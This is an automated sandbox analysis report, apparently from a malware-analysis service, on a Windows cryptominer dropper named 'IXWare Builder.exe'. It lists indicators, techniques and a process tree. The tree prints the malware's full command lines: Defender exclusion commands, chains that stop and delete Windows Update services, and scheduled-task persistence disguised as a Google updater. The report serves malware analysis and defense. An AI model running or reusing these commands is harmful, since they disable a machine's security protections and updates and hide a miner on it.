xmrig | f61442428aa51c99b9d5d8db4b6675f72fcef51686f849c91f143275336bdeaf

Analysis

max time kernel
78s
max time network
82s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
03/02/2023, 22:11

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General

Target

IXWare Builder.exe
Size

3.6MB
MD5

6a292b8ab3ff79cefe5f8e42882885d2
SHA1

cd1c59c618cb2f9d906f7214b803dd711f104f27
SHA256

05e1988f56fe199f7e401c8f4d6ee50bb26ab34fb3f96c22de959c7e5f92de77
SHA512

8288878d032221043d3bf99d78011aaab7ee744aeda4c2429cc461d34f7bffd9e091f242ca5fab84a6874e443420f436efc4367f1c776c74e0081f47418e1bab
SSDEEP

49152:NNn9hglTk53CXPgmsyL1dvIcfYNGRaKDFCC2PPGshxSZjUni1h2/MgNRIfxi3vyf:Nd9hCcigVyLPIcRaesSZy9hAx0vyq

Score

10^/10

xmrig evasion miner upx

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs

description	pid	Process	procid_target
PID 1380 created 1212	1380	IXWare Builder.exe	11
PID 1380 created 1212	1380	IXWare Builder.exe	11
PID 1380 created 1212	1380	IXWare Builder.exe	11
PID 1380 created 1212	1380	IXWare Builder.exe	11
PID 1380 created 1212	1380	IXWare Builder.exe	11
PID 1504 created 1212	1504	updater.exe	11
PID 1504 created 1212	1504	updater.exe	11
PID 1504 created 1212	1504	updater.exe	11
PID 1504 created 1212	1504	updater.exe	11
PID 1504 created 1212	1504	updater.exe	11
PID 1504 created 1212	1504	updater.exe	11
PID 2576 created 1212	2576	conhost.exe	11
PID 1504 created 1212	1504	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/2800-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	IXWare Builder.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 1 IoCs

pid	Process
1504	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
992	taskeng.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2800-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1504 set thread context of 2576	1504	updater.exe	90
PID 1504 set thread context of 2800	1504	updater.exe	98

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	IXWare Builder.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2360	sc.exe
1020	sc.exe
1896	sc.exe
1652	sc.exe
912	sc.exe
1896	sc.exe
2272	sc.exe
2332	sc.exe
2296	sc.exe
2380	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1652	schtasks.exe
2476	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 7085b8951c38d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
1640	chrome.exe
1232	chrome.exe
1232	chrome.exe
1380	IXWare Builder.exe
1380	IXWare Builder.exe
992	powershell.exe
1380	IXWare Builder.exe
1380	IXWare Builder.exe
1380	IXWare Builder.exe
1380	IXWare Builder.exe
1380	IXWare Builder.exe
1380	IXWare Builder.exe
1852	powershell.exe
1380	IXWare Builder.exe
1380	IXWare Builder.exe
1888	powershell.exe
1504	updater.exe
1504	updater.exe
2152	powershell.exe
1504	updater.exe
1504	updater.exe
1504	updater.exe
1504	updater.exe
1504	updater.exe
1504	updater.exe
2248	powershell.exe
1504	updater.exe
1504	updater.exe
1504	updater.exe
1504	updater.exe
2576	conhost.exe
2576	conhost.exe
1504	updater.exe
1504	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 39 IoCs

description	pid	Process
Token: SeDebugPrivilege	992	powershell.exe
Token: SeShutdownPrivilege	1976	powercfg.exe
Token: SeShutdownPrivilege	1516	powercfg.exe
Token: SeShutdownPrivilege	1916	reg.exe
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeShutdownPrivilege	1516	powercfg.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeShutdownPrivilege	2452	powercfg.exe
Token: SeShutdownPrivilege	2488	powercfg.exe
Token: SeShutdownPrivilege	2516	powercfg.exe
Token: SeShutdownPrivilege	2544	powercfg.exe
Token: SeDebugPrivilege	1504	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2628	WMIC.exe
Token: SeSecurityPrivilege	2628	WMIC.exe
Token: SeTakeOwnershipPrivilege	2628	WMIC.exe
Token: SeLoadDriverPrivilege	2628	WMIC.exe
Token: SeSystemtimePrivilege	2628	WMIC.exe
Token: SeBackupPrivilege	2628	WMIC.exe
Token: SeRestorePrivilege	2628	WMIC.exe
Token: SeShutdownPrivilege	2628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2628	WMIC.exe
Token: SeUndockPrivilege	2628	WMIC.exe
Token: SeManageVolumePrivilege	2628	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2628	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2628	WMIC.exe
Token: SeSecurityPrivilege	2628	WMIC.exe
Token: SeTakeOwnershipPrivilege	2628	WMIC.exe
Token: SeLoadDriverPrivilege	2628	WMIC.exe
Token: SeSystemtimePrivilege	2628	WMIC.exe
Token: SeBackupPrivilege	2628	WMIC.exe
Token: SeRestorePrivilege	2628	WMIC.exe
Token: SeShutdownPrivilege	2628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2628	WMIC.exe
Token: SeUndockPrivilege	2628	WMIC.exe
Token: SeManageVolumePrivilege	2628	WMIC.exe
Token: SeLockMemoryPrivilege	2800	conhost.exe

Suspicious use of FindShellTrayWindow 51 IoCs

pid	Process
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe

Suspicious use of SendNotifyMessage 48 IoCs

pid	Process
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe
1232	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1232 wrote to memory of 544	1232	chrome.exe	28
PID 1232 wrote to memory of 544	1232	chrome.exe	28
PID 1232 wrote to memory of 544	1232	chrome.exe	28
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1996	1232	chrome.exe	29
PID 1232 wrote to memory of 1640	1232	chrome.exe	30
PID 1232 wrote to memory of 1640	1232	chrome.exe	30
PID 1232 wrote to memory of 1640	1232	chrome.exe	30
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31
PID 1232 wrote to memory of 1992	1232	chrome.exe	31

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1212
- C:\Users\Admin\AppData\Local\Temp\IXWare Builder.exe
  "C:\Users\Admin\AppData\Local\Temp\IXWare Builder.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1380
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fefacb4f50,0x7fefacb4f60,0x7fefacb4f70
    3⤵
    PID:544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1116 /prefetch:2
    3⤵
    PID:1996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1404 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1716 /prefetch:8
    3⤵
    PID:1992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2132 /prefetch:1
    3⤵
    PID:1520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2020 /prefetch:1
    3⤵
    PID:1240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8
    3⤵
    PID:1020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3272 /prefetch:2
    3⤵
    PID:1276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
    3⤵
    PID:2000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3460 /prefetch:8
    3⤵
    PID:2060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1048,14570077798368596704,927775596769934090,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3604 /prefetch:8
    3⤵
    PID:2068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:992
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1188
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1020
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1896
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1652
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:912
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1896
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:964
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1920
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1976
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1064
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1976
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:1516
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:1916
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xwrxi#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1852
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wnaflx#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1888
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xwrxi#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2248
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2476
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2240
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2488
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2516
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2544
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2224
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2332
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2296
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2360
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2396
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2380
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2500
